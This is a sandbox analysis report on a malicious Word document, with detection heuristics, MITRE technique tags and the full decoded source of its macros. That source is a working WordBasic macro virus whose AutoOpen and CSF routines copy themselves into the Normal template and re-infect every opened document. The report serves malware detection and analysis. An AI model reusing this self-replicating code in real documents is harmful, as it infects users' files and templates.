MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Office document containing VBA macros. The AutoOpen macro is designed to copy itself and another macro ('CSF') to the Normal template, potentially for persistence. The CSF macro appears to be related to opening documents and saving them, possibly to ensure the malicious macros are present. The ClamAV detection 'Doc.Trojan.Stealph-2' further supports the malicious nature of the file.
Heuristics 4
-
ClamAV: Doc.Trojan.Stealph-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Stealph-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1634 bytes |
SHA-256: 4a7a85ffb5a8e122e5a57586db8e2cb90a44183a8b7e8571792fd94e2e36d81a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim c
Dim i
On Error GoTo -1: On Error GoTo ops
c = 0
For i = 1 To WordBasic.CountMacros(0, 0)
If WordBasic.[MacroName$](i, 0, 0) = "CS" Then c = 10
Next i
If c = 10 Then GoTo ops
Rem WinWord 6.0 Infector by CyberShadow...
Rem Thanks to SGWW !
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Normal:CS"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":CSF", "Normal:FileOpen"
ops:
End Sub
Attribute VB_Name = "CSF"
Public Sub MAIN()
Attribute MAIN.VB_Description = "Îòêðûòèå ñóùåñòâóþùåãî äîêóìåíòà èëè øàáëîíà"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.CSF.MAIN"
Dim s
Dim i
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
On Error GoTo -1: On Error GoTo ops
WordBasic.CurValues.FileOpen dlg
WordBasic.Dialog.FileOpen dlg
WordBasic.FileOpen dlg
s = 100
For i = 1 To WordBasic.CountMacros(1, 0, 0)
If WordBasic.[MacroName$](i, 1) = "CSF" Then s = 1
Next i
If s = 1 Then GoTo ops
Rem WinWord 6.0 Infector by CyberShadow...
Rem Thanks to SGWW !
WordBasic.FileSaveAs WordBasic.[FileName$](), Format:=1
WordBasic.MacroCopy "Normal:CS", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "Normal:FileOpen", WordBasic.[FileName$]() + ":CSF"
ops:
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.